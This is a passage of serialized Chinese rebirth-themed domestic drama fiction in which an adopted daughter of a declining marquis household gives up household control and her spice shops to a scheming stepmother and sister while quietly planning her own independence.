苏明珠上前一步，眼神中藏着一抹探究。 “姐姐这般中意元祖哥哥，怎么说不要就不要了？姐姐可别说气话。” 她怀疑，苏舒窈也重生了。 上一世，苏舒窈对这门婚事，可是极其看重的。就算元夫人对她极为不喜，她也要嫁入元家，成为元家少奶奶。 这一世，怎么能说不要就不要。 苏舒窈淡淡看了她一眼，“是我不要他，他可没说不要我。” 苏明珠唇角一弯，原来在这玩欲擒故纵呢。 “那行吧，姐姐就等着元祖哥哥来找你认错吧。” 等元祖上门，你看他会不会找你认错！ 她就说，怎么可能那么多人重生？ 只有她，才是唯一那个被上天眷顾的女子。 “奉劝姐姐别太作了，到时候把元祖哥哥气走了，可是打着灯笼都找不到元家这么好的人家了。” 苏舒窈爱慕元祖，元祖却独独中意她。 苏明珠身上莫名其妙升腾出一抹优越感。 看苏舒窈吃醋的样子，好好玩。 “我的事，不必你操心。” 苏舒窈有些无语，重生一次，苏明珠还是这般不着调，为了抢她的姻缘，不惜污损自己的名声。 半点没长进。 不知道利用先知，捞点实惠。 看着苏明珠趾高气扬的背影，苏舒窈盘算着，瓷器换得差不多了，这侯府的中馈，也该移交出去了。 她才不想操持苏明沛和青楼女子的婚事。 “吩咐下去，从今儿开始，各个院子的燕窝全部停了，每日供应的份例减半，主子们的月钱也减半，主子们问起，便说府里没钱了。” 第二日一早，翠红从大厨房回来，一脸不忿地来到苏明珠面前禀报：“二小姐，大厨房那边欺人太甚，把二小姐每日的燕窝粥停了，管事媳妇还说，从今天开始，二小姐的份例要减少一半。” “大厨房那边说了，今后二小姐想要份例之外的东西，自己用银子来买。” 苏明珠心下冷笑，还说没生气，原来在这里报复她呢！ “不怕，拿银子去买就是。” 与此同时，万氏院子里也是相同的状况。 春景园里，万氏身边的大丫头霜降单手叉腰，正在训斥着面前的小丫鬟： “今日的燕窝呢？都这个时辰了，还没炖上？” “该不会是你们几个偷奸耍滑的偷吃了吧？！” “霜降姐姐，小的哪敢偷吃啊，大小姐那边说了，今后的燕窝，都没了。哦哦，还有，大小姐那边的人还说，水果也没了。”小丫鬟将食盒递过去：“以后份例、菜、冰什么的通通减半。” 霜降接过食盒，露出一抹不可置信：“怎么会这样？算了，和你说不清楚，我待会儿亲自去大小姐那里去问一问。” 到了午膳时间，万氏等着开饭。 霜降打开食盒，微微皱了皱眉。 按照万氏的规格，一顿饭是三荤三素，但万氏信佛，吃素，一顿是六道素菜。 万氏不吃肉，但这些素菜，必须用鸡汤、牛骨髓、火腿熬制的高汤烹煮。 虽然没有肉，但却处处都透着油光。 今日只得三个菜不说，一道清蒸茄子，一道水煮黄瓜，一道水煮青菜，比洗碗水还清澈见底。 万氏看到桌上摆放的菜，微微皱了皱眉：“这是什么？” 霜降低着头：“夫人别生气，奴婢马上去问一问，想是厨房拿错了。” 万氏捏着佛珠，默默念着“阿弥陀佛”：“快去吧。” 霜降先去了大厨房，得知真是苏舒窈的吩咐之后，径直来到倚兰居。 “大小姐，今儿夫人那边的份例不太对。” 苏舒窈淡淡地道：“你来的正好，回去告诉夫人，侯府预算不足，今后各个院子的份例，全部砍半，丫鬟小厮也用不了那么多，让夫人列个单子，至少要撵一半的人出去。” 霜降一双眼睛瞪得像铜铃：“年中各地的庄头不是刚交了一次租子吗，怎么可能不够？！大小姐的香料铺子挣那么多银子，大小姐可别诓我！” 苏舒窈眼角微弯。 万氏身边的人，不仅敢指着她大呼小叫，在她面前都不用自称奴婢了。 上一世，苏舒窈活得窝囊，万氏身边随便一个丫鬟，都敢对她指手画脚。 万氏身边的人犯了错，她也不敢管。 现而今，苏舒窈淡淡了睨了人一眼： “拖出去，掌嘴。” 上一世得罪过她的人，她一个都不会放过。 刘妈妈一个箭步冲上去，朝着霜降就是一个大嘴巴子。 霜降被打懵了。 大小姐怎么敢的？！ 她可是万氏身边的大丫鬟，代表的是万氏的脸面，就算明珠小姐见了她，也是恭敬有加。 大小姐竟然打她？！ 气抖冷。 “出去吧，下次和我说话之前，先学一学规矩。” 秋霜立刻将人赶了出去。 “拿牌子，去领三千三百两来，把香铺的帐结了。” 侯府在香铺拿香，从来不给钱。 香料昂贵，尤其是万氏用的檀香，其中添加了冰片，一两香，十两银。 万氏日日焚香，每月最少几百两，多则上千两。 侯府赊账，从来不还。 这三千两，根本不足以还清香料铺子的账，无妨，慢慢还就是。 破船还有三斤钉，侯府虽然落魄了，还是有祖产的。 “是。”刘妈妈听了，跑得飞快。 侯府可是从来都没有结过香料铺子的帐，她生怕去迟了大小姐反悔。 这边，苏明珠听说霜降被打了，悄悄来到万氏院子里。 “霜降，这伤药你快拿去涂在脸上，女儿家的脸最紧要了，姐姐怎么这般残忍，指着你的脸打。” 苏明珠体贴善良，显衬得苏舒窈心狠手辣，不近人情。 “多谢二小姐赐药。”霜降接过药，感激涕零。 “可怜见的，就算犯了错，没有功劳也有苦劳，看在母亲的面子上，也不该打你的。”苏明珠语气柔软：“对了，母亲怎么说？” 霜降低声道：“夫人正在气头上。” 苏明珠弯了弯嘴角，“行吧，我进去劝劝母亲。” 万氏一脸阴沉。 “母亲，姐姐太过分了。”苏明珠走到万氏身后，轻轻地帮她捏着肩。 对于苏舒窈的忽然发难，万氏拧着眉心，很是心烦。 苏明珠觑着万氏的眼神，试探道：“母亲，这府里的中馈，女儿也是能管的。” 上辈子她被找回来，落魄侯府一片花团锦绣，下人们窃窃私语，说侯府的繁华，全是苏舒窈的功劳。 苏舒窈一个女流之辈，能有多大的功劳？！ 简直胡说八道！ 没有苏舒窈碍手碍脚，在她的管理下，侯府只会更加辉煌。 第7章 抢走 万氏听到这话，抬眼看了过去：“明珠，这府上的中馈，还是让舒窈管着的好。” 老夫人死后，万氏便接过了侯府中馈，没几年，便亏空得不成样子。 一开始她偷偷用嫁妆补贴，贴到后来，她发现，侯府就是个无底洞，再贴下去，她的嫁妆迟早要赔光，干脆全部交给了苏舒窈。 苏舒窈管得很好，不仅把亏空全部填了，侯府主子的体面也维持住了。 苏舒窈管着中馈，但府中管事大部分都是她的人，她既得了威望，又占了便宜。 这府里的中馈，是不可能随便动的。 更不可能把这个烂摊子交给明珠。 这也是万氏掌控大局，却没有第一时间处理苏舒窈的原因。 苏舒窈还有大用。 苏明珠早已料到，小声劝道：“母亲，女儿也有赚钱的法子。” 她可是重生的。 上一世，逼死苏舒窈之后，她从苏舒窈的妆奁里翻到了香料秘方。 香料铺子，她也能开。 更别说，她还知道，下个月气温会忽然飙升，北方旱灾、南方水患，有的地方还会出现瘟疫。 只要现在多囤点冰、粮食、药材，到时候转手一卖，就能大赚一笔。 掌握上一世信息的她，在经商方面，定然不比苏舒窈差。 “母亲，你相信女儿。” “要是觉得女儿管理得不好，到时候再交给姐姐就是。”苏明珠挽着万氏的手撒娇：“母亲~~” 万氏叹了口气：“府中银子不够。” 庄头每年年底交一次银，这已经是七月，庄头交那点银子，早就用完了。 现在的开销，全是苏舒窈用私房银子支撑着。 苏明珠柔声道：“母亲，姐姐不是有十来个香料铺子吗？听说香料铺子赚得可多了，按理说，侯府不该没钱才对，姐姐就算受了委屈，也不该故意为难母亲。” 苏明珠想要苏舒窈的香料铺子。 万氏听出她的意思，却没有接话。 说实话，她也想过将那些个香料铺子据为己有。 但，那是苏舒窈一间一间开起来的，用的还是老夫人留给她的嫁妆。 贸然抢走，传出去对名声不好。 再者，她知道自己的斤两，就怕抢过来之后，管得不好，要是亏损了，整个侯府的生活质量都会降低，侯爷会埋怨她。 还不如像现在这样，安心享受。 “我这里有香料铺子的秘方。”苏明珠拿出一个荷包。 万氏眼神一亮，“真的？” 苏明珠将秘方从荷包里拿出来：“是在老夫人留下的书籍里面找到的。” “这是侯府传下来的秘方，按理说，这些个香料铺子，不该归姐姐私有，应该归到公中。” “原本女儿不想提的，毕竟这些个香料铺子，也是姐姐废了不少心血开起来的，但姐姐这次真的做的过分了，女儿实在是为母亲感到难过。” 万氏接过香料方子，仔细看了好几遍，“这真是老夫人留下来的？！” 苏明珠点了点头：“嗯呐。” 捏着秘方的指尖泛着白，万氏咬着后槽牙。 那个老虔婆可真行啊，侯府的秘方不传给侯府子孙，偏偏偷偷传给一个养女！ 就算看不起她，也该传给明沛的。 还好，明珠找回来了。 “既然这样，母亲便助你拿到府上中馈，还有那香料铺子，也一并让她交出来。” 有了这祖传的方子，便能名正言顺将苏舒窈的香料铺子收入囊中。 苏明珠喜不自禁：“多谢母亲。” 倚兰居，苏舒窈正在厢房里调香。 万氏带着苏明珠、苏明沛找上门的时候，一眼便看见院子里跪着的吴妈妈和书棋。 “吴妈妈，你跪着干什么？” 吴妈妈可是万氏身边的管事媳妇，书棋也是苏明沛身边的贴身小厮。 秋霜：“回夫人，吴妈妈和书棋犯了错，大小姐让他们跪着。” 万氏冷哼一声，走了进去。 “夫人。”苏舒窈早料到万氏会来，看到人，并没有觉得太过惊讶。 万氏开门见山道：“舒窈，这段时间让你管家，辛苦了。现在明珠也回来了，这管家权，还是交回来吧。有明珠在，这府上中馈，也没有一直让你管着的道理。” 怕苏舒窈不肯交出来，苏明沛补充：“府上的中馈，原本就是母亲生病，让你代管，没想到你接到手中便不肯拿出来......” 明明是万氏求着她管的，到了苏明沛口中，成了她夺权了。 苏舒窈淡淡地打断：“我交。” “秋霜，把账本和对牌拿出来，交给夫人。” 秋霜早有准备，将准备好的东西交了上去：“夫人，收下之后签字画押，奴婢让人带着夫人的人去清点库房。” 在万氏的示意下，霜降上前一步，接过账本和对牌，清点一番之后，小声提醒：“夫人，不齐。” 万氏问道：“缺了什么？” 霜降大声道：“缺了香料铺子的账本、铺子地契、店小二和掌柜的契书。” “香料铺子？”苏舒窈提醒道：“夫人，那是我的。” 苏明沛大叫一声：“什么你的？！那是侯府祖上传下来的方子开起来的铺子，怎么就成了你的？！” “我告诉你，香料铺子是咱威远侯府的东西，你别想私吞！” 苏舒窈云淡风轻回道：“当初我经营香料铺子的时候，夫人不是亲口说过，这些铺子都是我的，盈亏都与侯府无关的吗？” 万氏确实说过这句话，主要是怕她亏太多，要侯府来填窟窿，哪里知道这么生意越做越大，这么赚钱。 苏明沛怒道：“放肆，怎么和母亲说话的？！叫你交你就交，那么多废话！” 秋霜眼睛瞪得像铜铃，母鸡护崽似地将大小姐护在身后：“香料铺子不行！香料铺子是大小姐的私产，是大小姐的嫁妆！” 当初，是她陪着大小姐顶着风吹雨淋，一点点从一家，慢慢发展到十家。 她亲眼看着大小姐熬夜调香，亲眼看着大小姐在铺子里恭维各大府邸的夫人管事，受尽了多少嘲笑与冷眼。 其中的心酸，只有她最清楚。 当初开店的时候，侯爷嫌弃小姐抛头露面，有损侯府名声，百般阻扰。 后来见着小姐赚了银子，便把中馈交到小姐手上，一边享受着铺子收益带来的好处，一边嫌弃小姐身上的铜臭味。 现在夫人轻飘飘一句话，就要将所有拿走。 “怎么和夫人说话的，掌嘴！”苏明珠厉声道：“香料铺子里的香，全是侯府祖上的秘方制成，什么时候算是姐姐独有的了？！” 秋霜争辩道：“不是的，香料铺子的香，全是大小姐一点一点调制的，奴婢从没见过什么秘方......” 两个粗使婆子一左一右夹着秋霜，抡起胳膊就要掌嘴。 苏舒窈出言打断道：“住手，打了秋霜，谁给你们去拿铺子的房契？” 苏舒窈吐出一口清气，怪不得苏明珠底气这么足，原来是找到了“秘方”。 但，要想调出一款好香，光是方子可不够，还要考验调香人的手艺。 更别说，苏舒窈铺子里最畅销的香，她从未写过方子。 所有秘方，全在她脑子里。 整个京城，唯独她调制出的香最特别。 这也是为什么香料生意容易被世家门阀垄断，而她开的香料铺子能杀出一条血路的原因。 香料成本极高，调出的香如果卖不出去，不出两个月，苏明珠便会赔得倾家荡产。 她也能暗中将这些铺子，真正变成她的私产。 苏明沛怒道：“苏舒窈，不要给你脸不要脸！本来就是咱侯府的产业，你休想独吞！” 苏舒窈笑了笑：“拿去吧，给你们。” 第8章 虚伪 秋霜听到苏舒窈的命令，眼眶红了：“大小姐，交不得，那是老夫人留给您的嫁妆......” 大小姐在府中原本就过得艰难，要是交出香料铺子，今后还要怎么活啊？ “行了，这事我自有分寸，你把房契找出来，交给夫人，别误了事。” 苏舒窈一个眼神看过去，秋霜立马止住了。 忽然想到，之前大小姐让她买的假文物，大小姐肯定不会那么简单地交出香料铺子的。 大小姐一定有应对之策。 她不能坏了大小姐的谋算。 “奴婢马上去办。”秋霜将香料铺子的房契、掌柜伙计的契约拿了出来。 万氏从房契里翻出一张，纡尊降贵地递了过去：“这一份，是当初老夫人留给你的嫁妆铺子，你拿去。” “该是你的，母亲不会要。” “母亲只拿回属于侯府的东西。” 苏明珠笑道：“夫人真是明事理。” 让人收好契约，万氏脸上露出一抹慈祥：“舒窈，香料铺子有如今的规模，除了祖上传下来的秘方，其中一小部分也有你的功劳。” “母亲不是那种不懂明辨是非之人，该给你的奖励，必不会少。” “你想要什么，尽管开口。” 苏明沛冷声道：“苏舒窈，母亲对你这么好，还不快感谢母亲。” 苏舒窈低头一笑。 真是菩萨心肠啊，拿走价值万金的香料铺子，给她一点补偿，还要求她感恩戴德。 苏舒窈云淡风轻地笑了笑：“我想在院子里弄一个小厨房。” 苏明沛冷笑一声：“小厨房？原来你也怕被克扣份例啊。” “你当明珠像你一般阴险？！” 苏明珠走上前，柔声道：“姐姐，你放心，我掌家之后，一定会公正公平，绝不会在吃食上动手脚。” 苏舒窈看向万氏：“夫人？” 万氏：“我答应你，但是说好，小厨房的费用，你自己承担，咱侯府，可不提倡铺张浪费。” 苏舒窈应下声来。 见一切尘埃落定，苏明珠看向门外：“母亲，吴妈妈和书棋还在院子里跪着呢，今儿日头那么大，就怕跪久了受不住。” 万氏拿到香料铺子，心情舒畅了许多，也犯不着下苏舒窈的脸面：“舒窈，吴妈妈和书棋犯了何事？” 苏舒窈轻声道：“上月修筑小花园，吴妈妈报了一百两，实际只用了五两。前日落锁之后，书棋和门上的婆子吃酒赌博。” “按规矩，这两人该打一顿，撵出去。” 听到要被撵出去，吴妈妈和书棋一边磕头一边朝着万氏喊冤。 “夫人，奴婢罪不至此啊！！求夫人开恩！！” 苏明珠“啊”了一声，怯生生道：“吴妈妈可是母亲的陪房，就不能给吴妈妈一个机会？” 赶走万氏的陪房，不是明晃晃打万氏的脸吗？ 赶走书棋，也是一点不给大哥面子。 怪不得苏舒窈为侯府操劳一生，反而讨不了好。 她实在是太不会做人了。 万氏手上捻着佛珠，开口道：“如今中馈已经移交，府中的事不用你管了。” “明珠，这两人，你来处置。” 苏明珠娉娉婷婷走到吴妈妈和书棋面前，施恩般开口：“这次便饶了你们，罚两个月月钱。下次还要再犯，必定严惩。” “多谢二小姐开恩！” “二小姐真是菩萨心肠！” 苏舒窈看着吴妈妈和书棋对着苏明珠感恩戴德，心中毫无波澜。 书棋今后还要再犯。 落锁之后吃酒赌钱，免不了要经常打开门。 这门一开，万一歹人偷摸进来，侯府损失事小，污了姑娘们的清白事大。 上一世，就因为下人吃酒耍钱，穷书生摸进侯府，和小妹私会。 小妹闹着要嫁给穷书生。 不仅如此，书棋还引着苏明沛去赌博。 被她发现之后，撵了书棋。苏明沛亲自来劝，她也没有松口。 苏明沛被落了面子，心里有怨。 还有吴妈妈，仗着是夫人的陪房，肆无忌惮在府中敛财。 如果不严惩，其他下人有样学样，怎么得了？ 御下不足，便坏了根。 参天大树，也经不起蝼蚁啃咬树根。 苏明珠只会表面功夫，看不到其中深意。侯府中馈移交到苏明珠身上，离衰亡不远了。 万氏拿到想要的东西，心满意足道：“舒窈，你处事不够稳重细致，待人接物也不够周到。你如果还想管家，今后多跟着明珠学学，不是母亲不愿意继续让你管着府中中馈，实在是你难堪大任。” 听着熟悉的打压，苏舒窈一笑而过。 她稳重的很，待人接物人人夸赞。 她秀外慧中、无人能及。 她的优秀她心知肚明，与万氏的主观评价毫无关系。 看着万氏一行人离开的背影，苏舒窈只觉得浑身轻松。 “秋霜，准备一下，今日，我们出府去吃点好的。” “听说西大街开了家闻酥园，那里的点心特别好吃。” 秋霜愣了愣，抬手抹了把泪：“大小姐，奴婢马上去准备。” “还有小厨房，奴婢让刘妈妈抓紧砌出来。” “听说刘妈妈嫂子家的母猫下崽了，让刘妈妈选一只漂亮的送到院子里来。” 苏舒窈喜欢小动物，一直想养一只小猫。 但万氏不喜欢，万氏认为猫是邪物，与她相克，她便从未提过。 现在终于能如愿了。 还有她院子里的摆设，也要一并换成自己喜欢的。 “东边搭一个花架，让匠人做一架秋千，院子门口的菊花，全部拔了，换成小苍兰。” 万氏喜欢菊花，菊花代表高洁，万氏常常自诩菊花。 侯府院子里，到处都种了菊花。 可是，她不喜欢，她喜欢兰花。 刚吩咐下去，倪妈妈便道：“大小姐，老奴有句话，不知道该讲不该讲。” 苏舒窈身边三个妈妈，刘妈妈和王妈妈是老夫人留给她的，这倪妈妈，是万氏身边的人。 倪妈妈一开口，苏舒窈便知，倪妈妈定然是帮着万氏敲打她来了。 “不该讲的话便不讲了。” “倪妈妈，把箱笼钥匙交出来，从今天起，你便管着院子里洒扫的小丫鬟，房中的事，便不劳烦你了。” 倪妈妈忽然从小姐的得力管事，变成了一个可有可无的粗使婆子。 倪妈妈不服气，还要再说，苏舒窈淡然道：“妈妈要是不服管教，便回夫人那里去吧。” 前一世，苏舒窈觉得，被万氏和家人不喜，是人生的大劫难，心里总觉得对不起他们。 重活一世才发现，那些不在意她的人，也不值得她在意。 这一世，她哪管她是谁。 自己快活就行。 安排好之后，苏舒窈便带着秋霜出了门。 新的香料铺子，要着手开起来了。 第9章 感谢不娶 苏舒窈带着秋霜去酒楼，秋霜想起倪妈妈离开时那狰狞的面孔，心有戚戚焉：“大小姐，你就不怕倪妈妈在夫人面前编排你？” “怕什么？”苏舒窈淡淡一笑，“夫人已经对我这样了，还能坏到哪里去？” 上一世，她万般讨好万氏，万氏觉得，那是她该做的。 她被抱到侯府的那一刻起，她就该对万氏感恩戴德。 她占了侯府的便宜，就该付出所有，无条件地付出，为了侯府的前程，随时做好付出生命的准备。 所以，他们毒杀她的时候，毫无愧疚。 她可不是万氏养大的，她是老夫人养大的，除了老夫人，谁也不能要求她付出生命。 “下次你要是撞见倪妈妈在背后嚼舌根，尽管上前撕了她的嘴。” “啊？”秋霜傻眼了，“大小姐，奴婢不、不会。” “和训小丫鬟一模一样的。”苏舒窈笑道：“出了事，我帮你兜着。” 秋霜和她一样，对万氏的人，带着三分畏惧、七分讨好。 付出那么多，结果却换来一个死。 她对万氏祛魅了，万氏那样狼心狗肺的人，不值得她对她好。 她要一点一点，扭转秋霜的思维。 “大小姐，你好飒啊。”秋霜睁着一双星星眼，看向苏舒窈的眼神里，充满了崇拜。 要是大小姐一直都这样，就不会受委屈了。 她喜欢这样的大小姐。 吃完饭，苏舒窈带着秋霜去了唐家。 “舒窈，你怎么来了？”唐挽心热情地揽着人。 苏唐定亲之后，两家多有往来，苏舒窈和唐挽心私下里十分交好。 “有喜事。”苏舒窈笑了笑。 “什么喜事？神神秘秘的。” 唐挽心长相端庄大气，虽然比不上花魁梨棠，但绝对能担当起侯府主母的位置。 上一世，苏明沛能成功，不仅依靠妻家的支持，更少不了唐挽心这个贤内助。 唐挽心嫁过来之后，苏舒窈便把侯府中馈移交了过去，之后，便是唐挽心用嫁妆弥补亏空。 到了后期，侯府情况稍有好转，唐挽心又重新为侯府置办田地，可谓尽心尽力。 更别说唐挽心用心结交达官显贵的夫人，侧面为苏明沛打听朝堂消息。 可是，苏明沛一直挂念着梨棠，经常冷落她。 唐挽心过得很不开心，她和大哥的婚姻，全靠自身的教养在支撑。 苏舒窈见过她痛苦隐忍的样子。 进入内宅，遣散下人，苏舒窈才轻声道：“苏明沛闹着要娶青楼女子为妻，让我来退了这门婚事。” 唐挽心先是愣怔，接着皱眉，最后脑袋一歪，粲然一笑：“果真是喜事。” 少女双手合十，朝着苏府所在的方位拜了拜：“感谢苏世子不娶之恩！” 这门婚事，是老侯爷在的时候定下的。 老侯爷在世的时候，侯府显赫一时，唐苏两家算得上门当户对。 老侯爷去世后，侯府日落西山，这门婚事便不匹配了。 唐家守义，虽私下里有埋怨，但仍然愿意履行婚约，现在是侯府毁约，今后外人提起这事，便与唐家无关了。 唐挽心跳起来：“我去告诉我娘！让我娘也高兴高兴！” 唐挽心拉着人就往唐夫人院子里跑。 “娘，娘，我有件天大的喜事要告诉你！” 唐夫人笑骂：“下半年都快出嫁了，还这么毛毛躁躁，让人见了笑话！” “娘，我不用嫁了！”唐挽心三言两语，将苏明沛要娶青楼女子的事说了。 唐夫人听完，果然拍手叫好：“快去，把苏家的信物和苏家大郎的庚帖拿出来！” 她非常不满意这门婚事，尤其不满意苏明沛。 苏明沛自视甚高，本事没有，口气还大，脾气还火爆。 万氏更是自私虚伪。 女儿嫁过去必定会受委屈。 没有强行退婚，也是看在侯府还有苏舒窈这样一个明事理的小姑子份上。 苏舒窈：“夫人，直接退婚对挽心的名声有损，要想个周全的法子。” 毕竟苏明沛宁愿娶青楼女子，都不愿娶挽心。 这世间的谣言，原本对女子比较苛刻。 唐夫人笑道：“这有什么，到时候就说，大师算出挽心不宜早嫁，你们苏府等不及，双方友好协商退婚就行了。” “这京城，最不缺的就是新鲜事儿，过不了三月，这事就被淡忘了。” 唐夫人饶有兴致地看过去：“舒窈，你大哥退婚，你怎么这么开心？你可不像万氏那般拎不清。” 在她看来，苏舒窈虽是苏家养女，但从小在老夫人身边长大，行事稳妥，凡事以大局为主，她不可能想不到退婚一事对侯府的损失。 苏舒窈笑容恬淡：“他们嫌我管太多，我便依了他们。” 唐挽心揽着她：“我知道，退婚一事定然有你在其中周旋，今后有什么困难，尽管来找我，我记得你的好。” 苏舒窈笑了笑，心头流过一丝暖意。 前世，苏明沛一边攀着唐家这棵大树，一边轻贱唐挽心的真心，导致唐挽心郁郁寡欢下场凄惨。 这一世，她要亲手颠倒因果。 从唐府出来，苏舒窈去了香料铺子。 她在京城一共有三家香料铺子，外地还有七间，一共十间，她交了九间出去，现在这间，是老夫人留给她的，万氏没要。 香料铺子门口站满了人，全是京城其他铺子的伙计和掌柜。 “大小姐来了。”佟掌柜看到人，忙迎了出来，“大小姐，铺子怎么回事，二小姐说，要把我们全都解雇了，我们都是被二小姐赶出来的。” 香料铺子上的伙计和掌柜，全是苏舒窈的人，苏明珠不放心，将人全部赶了。 “我们过来，是想亲口问问，大小姐真要解雇我们？” 苏舒窈笑道：“不解雇，今儿我带了新的文书，契约重新签。就是吧，铺子要重新找，等找好铺子才能上工，大家先回去等通知，这几天的工钱照常发。” 佟掌柜听到这话，嘴巴微微长大，虽然苏舒窈什么都没说，但也能猜到背后的隐情。 大小姐这是要和侯府划清界限。 真是太好了。 之前，侯府的采买每次过来，全指着好货拿，有时候还强行拿走给其他买家预留的货。 他上前阻拦，采买还指着他的鼻子骂：“这是侯府的产业，主子们用自家的东西，用得到你个狗奴才指手画脚。” 香料本就是垄断生意，要不是大小姐调出的香整个京城独一无二，他们的铺子早就关门了。 每次他告诉大小姐，大小姐都让他们忍。 利润再高，也经不起这般祸害。 “我们听大小姐的。”佟掌柜将人迎进后院：“大小姐，谢老板已经等了小半个时辰了。” “知道了，佟掌柜，新铺子的事还需要你上点心。” 苏舒窈刚走进内院，便见一锦衣公子歪靠在黄花梨圈椅上。 “大小姐，这么急着叫我来，是有什么好事儿？” 谢老板二十出头，穿的是绣了金线的云锦，脚下踩着嵌了珍珠的缎靴。 一身富贵打扮，看着比门阀世家的公子还要奢豪。 除开穿着，他五官生得极好，尤其是一双桃花眼，像是浸了水的暖玉，看狗都深情。 谢老板是苏舒窈采购香料时认识的，不知底细，只知姓谢，有几分本事，也诚信。再刁钻的货，只要找他，都能拿到。 苏舒窈笑道：“听说谢老板的船遇到风浪，从东洋进来的一批香料泡了水，亏大了。” 谢老板撇撇嘴：“这么急找我来，看我的笑话？” 苏舒窈笑了笑：“谢老板误会了，我这里正好有个不识货的买家，可以帮谢老板卖个好价钱。” 谢老板眯起桃花眼，嘴边噙着一抹笑：“那敢情好，最近正缺银子。” 他把玩着手中竹扇，漫不经心道：“赚来的银子，咱二一添作五？” 好看的人，心术不正起来，也是这般赏心悦目。 苏舒窈笑得舒心：“听谢老板的。” 第10章 膨胀 交出管家权，苏舒窈无事一身轻，连着睡了几天懒觉。 上一世，她好像一直在忙，不是管着中馈、便是铺子、万氏礼佛的用度、大哥二哥的前程、小妹的婚事...... 从来都没有自己空闲的时间。 “养女”的身份好似一条无形的枷锁，鞭笞着她不停地旋转。 不到二十，便一身的病，医师说她忧思过度、积劳成疾，让她多休息。 她不敢休息，她怕一休息，便会被家人嫌弃。 这一世，她定要好生休养，长命百岁。 秋霜打开帘子，提着热水进来：“大小姐，自从你把中馈移交出去之后，现在打个热水都难了。还不知道待会儿午饭能不能吃上口热的？” “奴婢去茶房提个热水，硬是被刁难着等了一个时辰。这水还温的，也不知道烧没烧开？” 苏舒窈伸了个懒腰：“小厨房弄起来就好了。” 秋霜莞尔一笑：“王妈妈已经弄上了，待会儿午饭就能在小厨房炒菜。” 苏舒窈坐到梳妆台面前：“帮我梳一个螺髻，我要戴那只五彩镶宝石金步摇，配上珍珠发簪，还有那个红宝石璎珞，也一并拿来。” “对了，院子里的蔷薇花开正艳，簪两朵花在发髻上。” 上一世，万氏不喜她打扮。 万氏说，她的五官太过艳丽，就该朴素些压一压，穿金戴银的，太招摇，不像良家女。 她的衣裳也是素色为主，首饰几乎没有。 她好像一直活在万氏的评价中，半点不随心。 现在想来，万氏是嫉妒她长得好，嫉妒她长得比明珠好、比小妹好。 她打扮起来，像牡丹般富丽堂皇，衬得苏明珠像个洗脚婢。 万氏是在变相打压她。 她在处在如花的年纪，就该打扮得招摇些。 簪上绚烂的蔷薇，铜镜中那张脸，眉目舒展开来，明媚疏朗。 梳完头，她从妆奁里拿出一张纸，朝着秋霜招手：“你把这个拿去。” 秋霜接过一看：“奴婢的卖身契？” 她先是一愣，然后是惊喜，惊喜过后，又皱起眉来：“大小姐要赶我走？” 苏舒窈摇了摇头：“不是要赶你，以后你还跟着我。” 秋霜还是不解。 苏舒窈解释：“我想用你的名义，开几个香料铺子。今后我置办的田地，也放在你名下。” 只有良家子，才能拥有田地铺子。 已经被抢过一次，她不可能再以自己的名义经营。 秋霜嘴巴张开：“放在奴婢名下？奴婢何德何能，能让大小姐这般信任？” 苏舒窈笑道：“要是你都不能信任，这世间便找不到我信任之人了。” 正说着，秋叶哭兮兮进来了：“大小姐，明珠小姐太过分了，今儿奴婢去领份例，小姐的月例是每月二十两，明珠小姐只肯给奴婢五两，但给二少爷、三小姐，还是二十两，奴婢问她问什么，她说是您定的规矩，份例减半，她还打了奴婢一巴掌，说奴婢没规矩。” 没一会儿，又一个小丫鬟进来：“大小姐，二小姐那边太过分了，今儿采买了新鲜的梨，每个院子都有一筐，分到我们院子的，全是这种坏的，吴妈妈肯定是故意的！奴婢找吴妈妈理论，吴妈妈说，大小姐取消了水果，原本不用给我们送的，还说什么有肉还嫌毛多！” “点心也是，每个院子都有，就我们没有。” “二小姐还说，要把奴婢们全都发卖了！” 听着丫鬟们七嘴八舌地诉苦，苏舒窈淡淡一笑，“以后他们给什么我们就用什么，抱怨只会让她们高兴。” 苏明珠的手段，也太上不得台面了。 这种小打小闹，不痛不痒的，完全不会影响到她的心情。 她的目标可不是这后宅，外面的大山大河，她想去看看。 “秋霜，拘着她们一些，避其锋芒。” 天欲其亡，必令其狂。 先让苏明珠得意，她才会膨胀。 狂得越快，死得越早。 这边，苏明珠拿着对牌，正被管事媳妇们围着恭维。 “还是二小姐心善，二小姐处理事务，也比大小姐细致许多。” “别这么说，姐姐比我好多了。”苏明珠嘴上推辞，心里却美滋滋。 “二小姐好生谦虚。” 管事媳妇们都是浸淫内宅的人精，苏舒窈当初刚掌家的时候，也在她们手上吃了不少暗亏。 阳奉阴违这一套，她们比谁都玩得溜。 一个个铆足劲恭维，就趁着苏明珠不熟悉，好多捞点油水。 苏明珠和管事媳妇们说完话，去了铺子。 香料铺子上的人，她全换了，苏舒窈的人，她一个没要。调香师是新请的，掌柜和店小二都是万氏的人。 “二小姐，刚才香料师遣人来说，铺子里货卖得差不多了，需要进货、调制新品了。” 苏明珠看着账本，笑得舒心。 她知道香赚钱，也没想到这么赚。 短短一周，一个店铺便盈利上千两银子，九个店铺的利润，接近万两。 要知道，侯府一年的进项全部加起来，也不过两万两。 “库房里还剩多少香料？” “库房一点都没了。” “把以前的单子拿来我看。” 掌柜拿来以前的单子，单子上，龙涎香、乳香、没药、麝香......一般什么时候进货、进货多少，进货价格都写得很清楚。 苏明珠看一眼，便会了。 把货进回来，让香料师按方子调制成香饼，就能售卖。 经商，不过如此。 “香料一般在哪里进货？”单子上什么都写了，就是没有写进货渠道。 掌柜的：“二小姐，这我们就不知道了。” 这种机密，哪里是他们该知道的。 “行了，不就进货吗？” 这能有多难？ 她手上有银子，还担心进不来货。 就是吧，这香料的成本，也太贵了。尤其是龙涎香，一两黄金一两香，一尺大小的沉水香，白银千两，乳香和没药也不便宜，简单一盘算，进货一次，需要三万两白银。 苏明珠有些咂舌，利润大，成本也高。 这段时间看似赚了一万两，还不够本钱。 要进货，还得再去凑银子。 好几万两，哪里去凑啊？ 侯府公中没什么银子，母亲那里倒是有嫁妆，但不好向母亲开口。 还有，可以去借印子钱，一个月就能还上。 借印子钱，总觉得不太稳妥。 但一想到到时候能赚更多，心中那点担心便烟消云散了。 第11章 贬低 最近这段时日，侯府跟过节似的，主子们大鱼大肉，下人们也跟着喝了不少汤水。 苏明珠新官上任三把火，慷慨地给管事媳妇们多发了一个月工钱作为奖励。 管事媳妇们对苏明珠交口称赞，拉踩苏舒窈捧着苏明珠。 下人们也越发看不起苏舒窈，明目张胆地为难倚兰居。 苏舒窈拘着倚兰居的丫鬟，大门紧闭，除了日常采买，平时一律待在院子里。 